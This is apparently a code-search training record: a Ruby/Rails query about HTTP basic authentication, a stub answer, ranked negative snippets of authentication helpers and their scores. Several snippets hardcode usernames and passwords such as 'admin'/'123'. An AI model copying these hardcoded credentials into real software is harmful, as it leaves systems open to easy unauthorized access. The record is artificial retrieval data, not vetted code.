@sha512hash.to_i(16)\n else\n super\n end\n end", "def calc_hash(pass)\n salt_cost = SCrypt::Engine.autodetect_cost(self[:salt])\n SCrypt::Engine.scrypt(pass, self[:salt], salt_cost, 32).unpack('H*').first\n end", "def hash\n [lac, cid, radio, mcc, mnc, signal, psc, asu, ta].hash\n end", "def calculate_checksum\n last_checksum = previous_event&.checksum\n attrs = attributes.except(\"checksum\", \"id\", \"updated_at\").merge(last_checksum: last_checksum)\n cs = Digest::SHA256.hexdigest(attrs.to_s)\n puts \"#{id} calculate_checksum: #{cs} <- #{attrs} \" if Rails.env.development?\n Rails.logger.info(\"#{id} calculate_checksum: #{cs} <- #{attrs} \")\n return cs\n end", "def hash\n code.hash\n end", "def hash\n\t\t[@a, @b, self.class::D].hash\n\tend", "def consistent_hash\n Zlib.crc32(self.to_yaml, 0)\n end", "def hash\n @hash[:perm_type].hash ^\n @hash[:perms].hash ^\n @hash[:inheritance].hash ^\n @hash[:target].hash\n end", "def hash( *strs )\n return Digest::MD5.hexdigest( strs.join )\n end", "def hash\n @rank.hash ^ @suit.hash\n end", "def hash\n return Digest::MD5.hexdigest(self.describe(' '))\n end", "def hash\n @real.hash ^ @image.hash\n end", "def to_hash() end", "def hash_length\n super\n end", "def hash_hash(h)\n require 'digest/md5'\n Digest::MD5.hexdigest(Marshal::dump(h.sort))\n end", "def hash() source.hash ^ target.hash; end", "def hash\n [first_name, last_name, address_one, address_two, city, state, zip, phone, email, country_code].hash\n end", "def calculate_hash(input, prep_hashes)\n result = 0\n input.unpack('U*').each do |x|\n result += prep_hashes.hash(x)\n end\n (result % MOD_VALUE).to_s(HEX)\nend", "def c_hash\n sha256 = Digest::SHA256.new\n token = @code.token.token\n hashed_token = sha256.digest(token)\n first_half = hashed_token[0...hashed_token.length / 2]\n Base64.urlsafe_encode64(first_half).tr('=', '')\n end", "def hash(block)\n Digest::SHA256.hexdigest(block.to_s.encode)\n end", "def calculate_hash\n\t\toptions = {:firstname => firstname, :email => email, :phone => phone, :txnid => txnid, :surl => surl, :furl => furl, :productinfo => productinfo, :amount => amount}\n\t\tservice = PayuIndia::Helper.new(payment_gateway_key, payment_gateway_salt, options)\n\t\tself.hast = service.generate_checksum\n\tend", "def hash\n [rank, suit].hash\n end", "def hash\n self.class.hash ^ left.hash ^ right.hash\n end", "def generate_hash(*args)\n Digest::SHA3.hexdigest(args.join(''))\n end", "def hash_code\n hash_code = {}\n self.seq.each do |letter|\n hash_code.keys.include?(letter) ? hash_code[letter] += 1 : hash_code[letter] = 1\n end\n hash_code\n end", "def hashify_attributes(attrs)\n Hash.new.tap{ |h| attrs.each{|a| h[a] = self.send(a)} }\n end", "def hash\n\n self.h.fei.hash\n end", "def hash\n shasum.hash\n end", "def hash\n shasum.hash\n end", "def hash\n shasum.hash\n end", "def hash\n attributes.hash\n end", "def hash\n attributes.hash\n end" ]
[ "0.7118691", "0.70400536", "0.70400536", "0.70400536", "0.70400536", "0.70400536", "0.70400536", "0.70400536", "0.68960655", "0.67847186", "0.6707762", "0.670052", "0.6688737", "0.66705376", "0.6489735", "0.6462376", "0.6462376", "0.64444333", "0.6413127", "0.6395483", "0.63898623", "0.6372129", "0.635671", "0.63370055", "0.62682766", "0.62533766", "0.6246914", "0.6230963", "0.62173444", "0.6214272", "0.6214131", "0.61962456", "0.619165", "0.61866295", "0.6185355", "0.6185355", "0.6153702", "0.6145376", "0.6144877", "0.6139152", "0.6128312", "0.61224943", "0.61217207", "0.61205214", "0.61041045", "0.61000645", "0.60937095", "0.60931146", "0.60818595", "0.60811466", "0.60500103", "0.60322344", "0.6022704", "0.6020012", "0.6020012", "0.6020012", "0.6020012", "0.6020012", "0.6020012", "0.6020012", "0.6020012", "0.6020012", "0.6020012", "0.60178953", "0.6014942", "0.5997442", "0.59880185", "0.598736", "0.59799886", "0.5972682", "0.5969595", "0.5969411", "0.59594935", "0.5957466", "0.59423596", "0.5942144", "0.59245354", "0.5924357", "0.5904946", "0.59025365", "0.58536685", "0.5847055", "0.58454466", "0.5845053", "0.58447546", "0.5844059", "0.5842638", "0.5840575", "0.58391696", "0.5825819", "0.5824118", "0.5823615", "0.58184344", "0.5815284", "0.58124787", "0.5810309", "0.5808056", "0.5808056", "0.5808056", "0.5806852", "0.5806852" ]
0.0
-1
http_basic_authenticate_with name: "jcuAdmin", password: "jcu2017",
def create_landing end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def authenticate\n authenticate_or_request_with_http_basic('Administration') do |username, password|\n username == 'igp' && password == 'ehkra!Q2w#e'\n end\n end", "def http_basic_authenticate\n authenticate_or_request_with_http_basic do |username, password|\n username == \"mustang\" && password == 'mustang' #\"must@ngs0undm3l0n\"\n end\n end", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n username == ENV['USERNAMEV'] && password == ENV['PASSWORDV'] \n end \n end", "def authenticate_with_http_basic\n nil\n end", "def authenticate\n authenticate_or_request_with_http_basic(\"algo\") do |username, password|\n username == \"dupa\" && password == \"dupa\"\n end\n end", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n self.username == username && self.password == password\n end\n end", "def authenticate\n authenticate_or_request_with_http_basic do |user_name, password|\n # Change these to username and password required\n user_name == \"shitlister\" && password == \"letmein\"\n end\n end", "def authenticate\n authenticate_or_request_with_http_basic(\"Fun!\") do |username, password|\n username == ENV[\"FUN_ADMIN_USER\"] && password == ENV[\"FUN_ADMIN_PASS\"]\n end\n end", "def authenticate\n @shoonga = authenticate_or_request_with_http_basic do |username, password|\n username == \"4vght\" && password == \"we8vds\"\n end\nend", "def basic_auth\n authenticate_or_request_with_http_basic do |username, password|\n username == Rails.application.credentials.basic[:username] && \n password == Rails.application.credentials.basic[:password]\n end\n end", "def login_from_basic_auth\nauthenticate_with_http_basic do |username, password|\nself.current_user = User.authenticate(username, password)\nend\nend", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n username == \"admin\" && password == \"123\"\n end\n end", "def login_using_basic_auth\n @request.env['HTTP_AUTHENTICATION'] = ActionController::HttpAuthentication::Basic.encode_credntials(\"\", \"\")\nend", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n (user = User.find_by_name(username)) != nil \\\n && user.password == Digest::SHA1.hexdigest(password)\n end\n end", "def http_login(username, password)\n @request.env['HTTP_AUTHORIZATION'] = \"Basic #{Base64.encode64(username << ':' << password)}\"\n end", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n self.username == username && self.password == password\n end\n end", "def admin_auth\n authenticate_or_request_with_http_basic do |username, password|\n username == \"ga\" && password == \"ga\"\n end\n end", "def basic_auth(username, password)\n @basic_auth = {:username => username, :password => password}\n end", "def authenticate!(request)\n if @username and @password \n request.basic_auth @username, @password\n end\n end", "def authenticate_user_with_basic_auth!\n @username, @password = ActionController::HttpAuthentication::Basic::user_name_and_password(request)\n\n request_http_basic_authentication(ENV[\"REALM\"], \"An Authentication object was not found in the SecurityContext\") if @username.blank? || @password.blank?\n end", "def require_http_basic_auth\n if APP_CONFIG['perform_authentication']\n authenticate_or_request_with_http_basic do |login, password|\n login==APP_CONFIG['username'] and password == APP_CONFIG['password']\n end\n end\n end", "def authenticate\n authenticate_or_request_with_http_basic do |name, password|\n name == \"blogmaster\" && password == \"senha\"\n end\n end", "def authenticate\n authenticate_or_request_with_http_basic do |name, password|\n if m=Member.find_by_name(name) \n if (m.authenticate(password) && m.role == \"administrator\")\n\t\t true\n\t\telse\n\t\t false\n\t\tend\n else\n false\n end\n end\n\tname=\"\"\n\tpassword=\"\"\n end", "def authenticate_user(request)\n @log.info(\"Authentication user #{@username}\")\n request.basic_auth(@username, @password)\nend", "def basic_auth(username:, password:, realm: 'Instrumentation')\n authenticate_or_request_with_http_basic(realm) \\\n do |given_name, given_password|\n ActiveSupport::SecurityUtils.secure_compare(given_name, username) &\n ActiveSupport::SecurityUtils.secure_compare(\n given_password, password\n )\n end\n end", "def basic_auth\n {\n username: @username,\n password: @password\n }\n end", "def auth\n {:basic_auth => {:username => id, :password => password}}\n end", "def basic_authentication usr, pwd\n\t\t#str = Base64.encode64(\"#{usr}:#{pwd}\")\n\t\t#str = \"Basic #{str}\"\n \n\t\t#@request_headers[\"Authorization\"]= str\n @request_headers[\"Authorization\"]= 'Basic ' + [\"#{usr}:#{pwd}\"].pack('m').delete(\"\\r\\n\")\n\tend", "def http_basic_authorize!(realm, username, password)\n auth = Rack::Auth::Basic::Request.new(request.env)\n unless auth.provided? && auth.basic? && auth.credentials &&\n auth.credentials == [username, password]\n response['WWW-Authenticate'] = %(Basic realm=\"#{realm}\")\n request.halt(401)\n end\n end", "def login_from_basic_auth\n authenticate_with_http_basic do |login, password|\n self.current_user = User.authenticate(login, password)\n end\n end", "def login_from_basic_auth\n authenticate_with_http_basic do |login, password|\n self.current_user = User.authenticate(login, password)\n end\n end", "def basic_auth(username, password)\n @basic_auth = [username, password]\n end", "def authenticate_with_basic_auth\n name, token = ActionController::HttpAuthentication::Basic.user_name_and_password(request)\n @api_client = ApiClient.find_by(name: name)\n\n render(json: { errors: [{ detail: \"Access Denied\" }] }, status: 401) unless valid_key(token)\n end", "def http_basic_authorize!(realm, username, password)\n auth = Rack::Auth::Basic::Request.new(request.env)\n unless auth.provided? && auth.basic? && auth.credentials &&\n auth.credentials == [username, password]\n response['WWW-Authenticate'] = %(Basic realm=\"#{realm}\")\n throw(:halt, 401)\n end\n end", "def basic_auth(opts); end", "def basic_auth(*args, &block); end", "def basic_auth(u, p)\n @auth = {:username => u, :password => p}\n end", "def authenticate_on_production\n return if Rails.env.development? || Rails.env.test?\n authenticate_or_request_with_http_basic do |username, password|\n username == \"crowdscore\" && password == \"denver\"\n end\n end", "def basic_auth!(user = :username, pass = :password)\n @authenticates = :basic_auth\n @credentials = [user, pass]\n end", "def authenticate(username, password)\n end", "def authenticate_user\n if Rails.env.production?\n authenticate_or_request_with_http_basic do |username, password|\n username == \"admin\" && password == Wordpressed.password\n end\n end\n #warden.custom_failure! if performed?\n end", "def basicauth_enabled?\n true\n end", "def authenticate_using_http_basic\n return if current_user\n authenticate_with_http_basic do |email, password|\n signin = Session.new email: email, password: password\n auth = User.authenticate_signin signin\n self.current_user = auth unless auth.kind_of? Symbol\n end\n end", "def login_from_basic_auth\n authenticate_with_http_basic do |username, password|\n self.current_user = User.authenticate(username, password)\n end\n end", "def require_basic_auth_maybe\n if Rails.env.staging?\n authenticate_or_request_with_http_basic do |user, password|\n user == \"mamajamas\" && (password == \"mamab1rd\" || password == \"welcome\")\n end\n end\n end", "def authenticate_user\n if I18nEditor.configuration.authentication_user.present? and I18nEditor.configuration.authentication_password.present?\n authenticate_or_request_with_http_basic do |username, password|\n username == I18nEditor.configuration.authentication_user && password == I18nEditor.configuration.authentication_password\n end\n end\n end", "def authenticate\n if defined?(APPWALL_USERNAME)\n authenticate_or_request_with_http_basic do |username, password|\n !(APPWALL_USERNAME.blank?) && username == APPWALL_USERNAME && \n Digest::MD5.hexdigest(password) == APPWALL_PASSWORD_HASH\n end\n end\n end", "def authenticate\n if defined?(APPWALL_USERNAME)\n authenticate_or_request_with_http_basic do |username, password|\n !(APPWALL_USERNAME.blank?) && username == APPWALL_USERNAME && \n Digest::MD5.hexdigest(password) == APPWALL_PASSWORD_HASH\n end\n end\n end", "def require_http_auth\n if `hostname` =~ /soykaf|lanpartei/i \n if auth = APP_CONFIG['http_auth']\n authenticate_or_request_with_http_basic do |user_name, password|\n user_name == auth['name'] && password == auth['password']\n end \n end\n end\n end", "def login_from_basic_auth\n authenticate_with_http_basic do |login, password|\n self.current_user = User.authenticate(login, password)\n end\n end", "def authenticate\n env = Figaro.env\n\n head :unauthorized unless auth_configured?(env)\n\n authenticate_or_request_with_http_basic do |username, password|\n # This comparison uses & so that it doesn't short circuit and\n # uses `secure_compare` so that length information\n # isn't leaked.\n ActiveSupport::SecurityUtils.secure_compare(\n username, env.twilio_http_basic_auth_username\n ) & ActiveSupport::SecurityUtils.secure_compare(\n password, env.twilio_http_basic_auth_password\n )\n end\n end", "def set_basic_auth(config, options)\n if (login = options['login']) && (password = options['password'])\n \"#{login}:#{password}\"\n elsif (login = config.fetch('user.login') && (password = config.fetch('user.password')))\n \"#{login}:#{password}\"\n else\n nil\n end\n end", "def basic_auth_header(username,password)\n auth_str = username.to_s + \":\" + password.to_s\n auth_str = \"Basic \" + Rex::Text.encode_base64(auth_str)\n end", "def header_basic_auth(username=@username, password=@password)\n { \"Authorization\" => \"Basic #{Base64.encode64(username.to_s + \":\" + password.to_s).gsub(\"\\n\", \"\")}\" }\n end", "def basic_auth\n \"#{username}:#{access_token}\"\n end", "def login(action, username, password, header = 'HTTP_AUTHORIZATION')\n @request.env[header] = \"Basic #{Base64.encode64(username << ':' << password)}\"\n get action\n end", "def basic_authorization(user, pass)\n @request.env[\"HTTP_AUTHORIZATION\"] = format(\"Basic %{auth}\", :auth => Base64.encode64(\"#{user}:#{pass}\"))\n end", "def basic_authenticate(req, url, param_string = \"\")\n params = parse_quoted_wwwauth(param_string)\n\n user, pass = username_and_password_for_realm(url, params[:realm])\n\n req.basic_auth user, pass\n end", "def basic_auth(user, password, domain = T.unsafe(nil)); end", "def authenticate\n authed = true\n if(resource.respond_to?(:authenticate, true))\n authed = false\n uname = nil\n password = nil\n if(request.env['HTTP_AUTHORIZATION'])\n auth = Rack::Auth::Basic::Request.new(request.env)\n if(auth.basic? && auth.credentials)\n uname = auth.credentials[0]\n password = auth.credentials[1]\n end\n end\n authed = resource.send(:authenticate, uname, password)\n end\n raise Unauthorized unless authed\n end", "def basic_auth(user=nil, password=nil)\n return @basic_auth unless user && password\n @basic_auth = [user, password]\n end", "def basic_auth(user=nil, password=nil)\n return @basic_auth unless user && password\n @basic_auth = [user, password]\n end", "def authenticate_admin\n check_logout_param and authenticate_with_http_basic &auth_proc\n end", "def login\n #localhost:3000/api/login -u 'admin:password'\n authenticate_or_request_with_http_basic do |username, password|\n if username.include? '%40'\n email = username.gsub('%40','@');\n @user = User.find_by_email(email.downcase)\n else\n @user = User.find_by_username(username.downcase)\n end\n\n if @user && @user.authenticate(password)\n remember_token = RememberToken.create(token: User.encrypt(User.new_remember_token), user_id: @user.id, accessed_at: Time.now)\n respond_to do |format|\n format.json { render :json => remember_token }\n end\n end\n end\n end", "def basic_auth(login, pass)\n set_authorization_header(:basic_auth, login, pass)\n end", "def auth_headers(name: 'viraj', password: 'password')\n credentials = \"#{name}:#{password}\"\n { 'Authorization' => \"Basic #{Base64.encode64(credentials)}\" }\n end", "def authenticate\n authenticate_or_request_with_http_basic do |email, password| \n User.authenticated?(email, password, request.remote_ip)\n end\n end", "def basic_auth(user=nil, password=nil)\n user and password and @basic_auth = [user, password] or @basic_auth\n end", "def login_from_basic_auth\n authenticate_with_http_basic do |login, password|\n @current_user_session = Usersession.create(:email=>login, :password=>password, :remember_me => true)\n if !(@current_user_session.save)\n print @current_user_session.errors.full_messages\n request_http_basic_authentication\n end\n end\n @current_user_session\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def basic_auth_token\n 'Basic ' + [\"#{username}:#{password}\"].pack('m').delete(\"\\r\\n\")\n end", "def authorize_api!\n http_basic_authorize!('API', api_username, api_password)\n end", "def authorize_api!\n http_basic_authorize!('API', api_username, api_password)\n end", "def authorize_request(request)\n user = Rails.application.secrets.service_login\n pw = Rails.application.secrets.service_password\n request.env['HTTP_AUTHORIZATION'] = ActionController::HttpAuthentication::Basic.encode_credentials(user,pw)\n end", "def prepare_basic_auth(request)\n user = @options[:user] || nil\n pass = @options[:pass] || nil\n\n request.basic_auth user, pass\n request\n end", "def authenticate\n\t\t \tauthenticate_basic_auth || render_unauthorized\n\t\t \tend", "def authenticate(username, password)\n @username = username\n @password = password\n end", "def authenticate_if_needed\n # Disable this extra authentication in test mode\n return true if Rails.env.test?\n if (is_hidden || is_staging) && !is_api_or_pdf\n authenticate_or_request_with_http_basic do |username, password|\n username == \"samvera\" && password == \"hyku\"\n end\n end\n end", "def http_authenticate\n if Rails.env.staging?\n authenticate_or_request_with_http_basic do |username, password|\n (username == Brevidy::Application::HTTP_AUTH_USERNAME && password == Brevidy::Application::HTTP_AUTH_PASSWORD) ||\n (username == Brevidy::Application::HTTP_AUTH_ZEN_USERNAME && password == Brevidy::Application::HTTP_AUTH_ZEN_PASSWORD)\n end\n end\n end", "def basic_authorize(username, password)\n encoded_login = [\"#{username}:#{password}\"].pack('m0')\n header('Authorization', \"Basic #{encoded_login}\")\n end", "def check_basic_auth_request\n tracker.find_call(:target => nil, :method => :authenticate_or_request_with_http_basic).each do |result|\n if include_password_literal? result\n warn :result => result,\n :code => @include_password,\n :warning_type => \"Basic Auth\",\n :warning_code => :basic_auth_password,\n :message => \"Basic authentication password stored in source code\",\n :confidence => :high\n end\n end\n end", "def adminlogin_from_basic_auth\n authenticate_with_http_basic do |login, password|\n self.current_administrator = Administrator.authenticate(login, password)\n end\n end", "def basic_auth(account, password)\n @header.merge!({ 'Authorization' => \"Basic #{[\"#{account}:#{password}\"].pack('m').delete(\"\\r\\n\")}\" })\n end", "def authorization_header\n \"Basic #{Base64.encode64(\"#{@username}:#{@password}\").chomp!}\"\n end", "def authenticateA\n # if is_admin?\n # true\n # else\n authenticate_or_request_with_http_basic do |name, password|\n if m=Member.find_by_name(name) \n if (m.authenticate(password) && (m.id == current_user.id))\n \t\t\tif(is_admin?)\n \t\t\t\ttrue\n \t\t\telse\n \t\t\t\tfalse\n \t\t\t end\n \t\t else\n \t\t false\n \t\t end\n else\n false\n end\n end\n # end\n end", "def authenticate\n case request.format\n when Mime::XML, Mime::JSON\n unless logged_in? && admin?\n authenticate_or_request_with_http_basic do |user_name, password|\n user_name == USER_NAME && password == PASSWORD\n end\n end\n else\n render_404 and return unless logged_in? && admin?\n end\n end", "def authenticate\n authenticate_or_request_with_http_basic do |user, password|\n user == ChargebeeRails.configuration.webhook_authentication[:user] &&\n password == ChargebeeRails.configuration.webhook_authentication[:secret]\n end\n end", "def authenticate(username, password)\n true\n end" ]
[ "0.8589529", "0.85619384", "0.8517666", "0.83961976", "0.8340814", "0.82661307", "0.8211863", "0.8210803", "0.8196205", "0.8167562", "0.8161598", "0.81232905", "0.8072834", "0.79767114", "0.7876318", "0.7751527", "0.7733128", "0.7701966", "0.76532185", "0.76349366", "0.762413", "0.7617636", "0.7605319", "0.75741214", "0.7562983", "0.7523862", "0.7506914", "0.75032187", "0.7446975", "0.7436517", "0.7436517", "0.74222493", "0.7418082", "0.73967963", "0.7347109", "0.73220676", "0.7296947", "0.72711134", "0.725662", "0.7253704", "0.72502875", "0.71881884", "0.71840334", "0.7180231", "0.71518624", "0.7137759", "0.71334785", "0.71334785", "0.71215826", "0.71105707", "0.7108352", "0.71076703", "0.7102295", "0.709025", "0.704741", "0.70336926", "0.7023467", "0.70169294", "0.7007601", "0.70016384", "0.69939405", "0.69939405", "0.69787014", "0.6957001", "0.6956275", "0.695369", "0.6945849", "0.69438416", "0.69331205", "0.6912315", "0.69107306", "0.69107306", "0.69107306", "0.69107306", "0.69107306", "0.69107306", "0.69107306", "0.69107306", "0.69107306", "0.69107306", "0.69107306", "0.69107306", "0.69107306", "0.69107306", "0.68887174", "0.68887174", "0.68833417", "0.68723917", "0.6864704", "0.684316", "0.68423283", "0.6833148", "0.68269277", "0.68170327", "0.68074435", "0.68053126", "0.6760916", "0.6741259", "0.67404735", "0.67328036", "0.6718402" ]
0.0
-1
Yield the content for a given block. If the block yiels nothing, the optionally specified default text is shown. yield_or_default(:user_status) yield_or_default(:sidebar, "Sorry, no sidebar") +target+ specifies the object to yield. +default_message+ specifies the message to show when nothing is yielded. (Default: "")
def yield_or_default(message, default_message = "") message.nil? ? default_message : message end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def main_content\n yield if block_given?\n end", "def block_message_printer\n message = \"Welcome to Block Message Printer\"\n if block_given?\n yield\n end\n puts \"But in this function/method message is :: #{message}\"\nend", "def default(&block)\n if block_given?\n @default = block\n else\n @default\n end\n end", "def content_for(*args,&block)\n if block\n helpers.content_for(*args,&block)\n else\n rawtext(helpers.content_for(*args))\n ''\n end\n end", "def show\n block_given? ? yield : head(:ok)\n end", "def block(name, value = nil, &block)\n value = self._template.context.capture(&block) if value.nil? && block\n self._template.blocks[name] ||= value\n return self._template.blocks[name]\n end", "def body(&block)\n call_once\n if block_given?\n yield body\n else\n @body\n end\n end", "def block_or_string_content\n content_block ? view_context.capture(self, &content_block) : content_string\n end", "def foo\n if block_given?\n # Call the block\n yield\n else\n puts \"Sem parâmetro do tipo bloco\"\n end\nend", "def ui_action(message)\n puts message\n yield\n end", "def greeting\n name = (yield if block_given?) || \"Stranger\"\n puts \"Hello! #{name}\"\nend", "def html_blocklike_show(title, content)\n render('layouts/block', :title => title, :content => content) unless content.blank?\n end", "def help_block_sidebar(message)\n render :partial => '/shared/ubiquo/help_block_sidebar',\n :locals => {:message => message}\n end", "def show_maybe(opts={})\n return if hide_content?(opts)\n yield\n end", "def default_to(&block)\n raise ArgumentError, _('must be passed a block') unless block_given?\n @default_to = block\n end", "def run_block\n @_block_content = nil\n unless block.blank?\n @_block_content = if view.parent.present?\n capture(view, &block)\n else\n ## We've been called directly from a controller.\n yield(view)\n end\n end\n end", "def default\n if @default_block.nil?\n return nil\n end\n\n return @default_block.call\n end", "def public_content(&block)\n yield if !logged_in?\n end", "def optional\n puts 'A code block isn\\'t required, but it\\'s nice.'\n yield if block_given? #Kernel#block_given?\n puts 'I\\'m happy either way, really.'\nend", "def foo\n if block_given?\n yield\n else\n puts \"Sem parametro do tipo bloco\"\n end\nend", "def duas2\n # calls the default_block\n yield 1\n yield 2\nend", "def log_to_screen(message, &block)\n if test?\n yield\n else\n print \"#{message} ... \"\n STDOUT.flush\n yield\n puts 'done'\n STDOUT.flush\n end\n end", "def content\n call_block\n end", "def block_message_printer\n message = \"Welcome to Block Message Printer\"\n if block_given?\n proc.call\n end\n puts \"But in this function/method message is :: #{message}\"\n end", "def rblock\n if block_given?\n # yield execute the block\n yield\n else\n puts \"No block\"\n end\n end", "def do_something\n value = yield('Hello world') if block_given?\n puts \"The block returned #{value}\"\nend", "def not_for_any_user options = nil, &block\n return if Labels.state_check Labels.extract(options), current_user\n yield \n end", "def content_for_with_empty_check(name, content = nil, &block)\n if content_for?(name) == :empty\n # Some preceding layout or template has already specified that there is to be no content for this name, and that is FINAL.\n return nil\n else\n content_for_without_empty_check(name, content, &block)\n end\n end", "def call_this_block\n yield \"tweet\"\nend", "def call_this_block\n yield \"tweet\"\nend", "def if_block_given\n p \"hoge\"\n yield if block_given?\n p \"end\"\nend", "def block?; end", "def _layout_for(names, &block)\n with_output_buffer do\n # This is due to the potentially ambiguous use of yield when\n # a block is passed in to a template *and* there is a content_for()\n # of the same name. Suggested solution: require explicit use of content_for\n # in these ambiguous cases.\n #\n # We would be able to continue supporting yield in all non-ambiguous\n # cases. Question: should we deprecate yield in favor of content_for\n # and reserve yield for cases where there is a yield into a real block?\n if @_content_for.key?(names.first) || !block_given?\n return @_content_for[names.first || :layout]\n else\n return yield(names)\n end\n end\n end", "def gimme\n if block_given?\n yield\n else\n puts \"I'm blockless!\"\n end\nend", "def content_tag_with_block(name, content_or_options_with_block=nil,options={})\n if block_given?\n options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)\n content_tag_without_block(name, yield, options)\n else\n content_tag_without_block(name, content_or_options_with_block, options)\n end\n end", "def speak_the_truth\n yield \"Boris\" if block_given?\nend", "def render_or_pass(&block)\n begin yield\n rescue Exception => e\n logger.error e.message\n pass\n end\n end", "def sidebar(&block)\n content_for :sidebar, &block\n end", "def admin_content(&block)\n yield if logged_in? && User.find(session[:user]).is_admin?\n end", "def only_if(message = nil)\n return unless block_given?\n return if @__skip_only_if_eval == true\n\n @__skip_rule[:result] ||= !yield\n @__skip_rule[:message] = message\n end", "def block?\n block_tag? || block_body? || document?\n end", "def single_content_for(name, content = nil, &block)\n @view_flow.set(name, ActiveSupport::SafeBuffer.new)\n content_for(name, content, &block)\n end", "def do_something_with_an_arg\n yield(\"Hello world 3\") if block_given?\nend", "def single_content_for(name, content = nil, &block)\n @view_flow.set(name, ActiveSupport::SafeBuffer.new)\n content_for(name, content, &block)\n end", "def content\n if @block\n instance_eval(&@block)\n end\n end", "def i_check_if_block\n if block_given?\n yield\n else\n puts \"no block\"\n end\nend", "def evaluate_default_frame\n return if ignore_default_frame?\n self.ignore_default_frame = true\n yield\n ensure\n self.ignore_default_frame = false\n end", "def single_content_for(name, content = nil, &block)\n @view_flow.set(name, ActiveSupport::SafeBuffer.new)\n content_for(name, content, &block)\n end", "def capture_template_block(*args, &blk)\n if respond_to?(:is_haml?) && is_haml?\n capture_haml(*args, &blk)\n else\n with_output_buffer(&blk)\n end\n end", "def context label, &block\n return unless block\n Tiramisu.define_and_register_a_context(label, block, self)\n end", "def handle_blank(value)\n if value.present?\n if block_given?\n yield\n else\n value.to_s\n end\n else\n h.raw('<span class=\"metadata\">not available</span>')\n end\n end", "def call_block\n puts \"start\"\n yield \"foobar\" if block_given?\n puts \"end\"\nend", "def body_content\n call_block\n end", "def were_we_given_a_block?\n\tif block_given?\n\t\t\"WE GOT A BLOCK\"\n\telse\n\t\t\"WE DIDN'T GET A BLOCK\"\n\tend\nend", "def because(msg=\"Unknown cause\", &block)\n raise ArgumentError, \"WSpec because/therefore expects a block\" unless block\n __stack.push(msg)\n yield(browser)\n __stack.pop\n end", "def run_user_block(response, body, &block)\n header = extract_header_data(response)\n case block.arity\n when 1 then yield(header)\n when 2 then yield(header, body)\n else\n raise AdsCommon::Errors::ApiException,\n \"Wrong number of block parameters: %d\" % block.arity\n end\n return nil\n end", "def say_hi(name)\r\n\tputs \"Hi #{name.capitalize}\"\r\n\tyield (name.capitalize, name.reverse.capitalize) if block_given?###only returns if block is true\r\nend", "def block_eg\n puts \"this is the first message\"\n yield\n puts \"this is the middle message\"\n yield\n puts \"this is the last\\n\\n\"\nend", "def ui_sub_action(message)\n puts message\n yield\n end", "def block_caller\n if block_given?\n result_of_block = yield\n return result_of_block\n else\n return 'no block'\n end\nend", "def blank_slate(opts = nil, &block)\n if (opts.is_a?(Hash) && opts.key?(:partial) && block.nil?) || (opts.is_a?(String) && block.nil?)\n @blank_slate_handler = opts\n elsif opts.nil? && block\n @blank_slate_handler = block\n else\n raise WiceGridArgumentError.new(\"blank_slate accepts only a string, a block, or template: 'path_to_template' \")\n end\n end", "def content_for(capture)\n @layout_block.call(capture)\n end", "def current_user_method(&block)\n @current_user = block if block\n @current_user || DEFAULT_CURRENT_USER\n end", "def print_the_value_returned_by_the_block\n if block_given?\n value = yield\n puts \"The block returned #{value}\"\n end\nend", "def print_the_value_returned_by_the_block\n if block_given?\n value = yield\n puts \"The block returned #{value}\"\n end\nend", "def default_content\n logger.info 'EyesTargetLocator.default_content()'\n unless driver.frame_chain.empty?\n logger.info 'Making preparations...'\n on_will_switch.will_switch_to_frame :default_content, nil\n logger.info 'Done! Switching to default content...'\n __getobj__.default_content\n logger.info 'Done!'\n end\n driver\n end", "def takes_block(arg)\n puts \"I got an argument! It's #{arg}!\"\n puts \"I'm still in the method!\"\n yield if block_given?\n puts \"More stuff!\"\n puts \"Even more stuff\"\nend", "def page_block(title = nil, options = {}, &block)\n block_to_partial('shared/block', options.merge(:title => title), &block)\n end", "def block_testing\r\n student1 = \"John\"\r\n student2 = \"Jane\"\r\n puts \"The student has not begun racing yet.\"\r\n yield(student1, student2)\r\nend", "def each_content_element(&block)\n # Do nothing\n end", "def header_content\n yield if block_given?\n end", "def echo_with_yield(str)\n yield if block_given?\n str\nend", "def active_block\n current_case ? blocks[current_case] : default\n end", "def msg(m)\n print m + \"... \"\n $stdout.flush\n if block_given?\n msg = yield\n if msg.nil?\n ok\n else\n puts msg\n end\n end\n end", "def for_admin\n current_user.admin? ? yield : nil unless current_user.nil?\n end", "def block_given?() end", "def description\n yield if block_given?\n end", "def content\n case @context\n when :preamble, :open\n @blocks.map {|b| b.render }.join\n # lists get iterated in the template (for now)\n # list items recurse into this block when their text and content methods are called\n when :ulist, :olist, :dlist, :colist\n @buffer\n when 